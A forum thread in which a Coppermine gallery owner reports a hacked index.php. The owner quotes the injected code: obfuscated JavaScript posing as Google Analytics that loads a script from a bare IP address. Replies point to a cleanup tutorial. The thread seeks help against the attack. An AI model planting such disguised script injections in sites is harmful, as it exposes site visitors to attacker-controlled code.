my index.php files are changing everytime i think it's hacked. What to do?

[picsmall.com]

my coppermine gallery index.php file get some extra codes at bottom which get my index.php file undisplayable on web.
the code
<?php echo '<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' " + '#@!s(&r)c@#=!)\'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&6!@!#^5(@#!.!&$1@#4)8#&/($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("google-analytics-code-user-id");
pageTracker._trackPageview();
} catch(err) {}</script>'; ?>




this code is of google analytics but it is hacked(the code is not same as google analytics it is broken.
i deleted google analytics code but the code apears again automaticly.
i have also removed google analytics profile for this website

[Nibbler]

http://forum.coppermine-gallery.net/index.php/topic,51927.0.html

[udgang99]

Thank you for the link, Nibbler .... I had the exact same problem, and by following the tutorial, my gallery is now CLEAN!!! :-)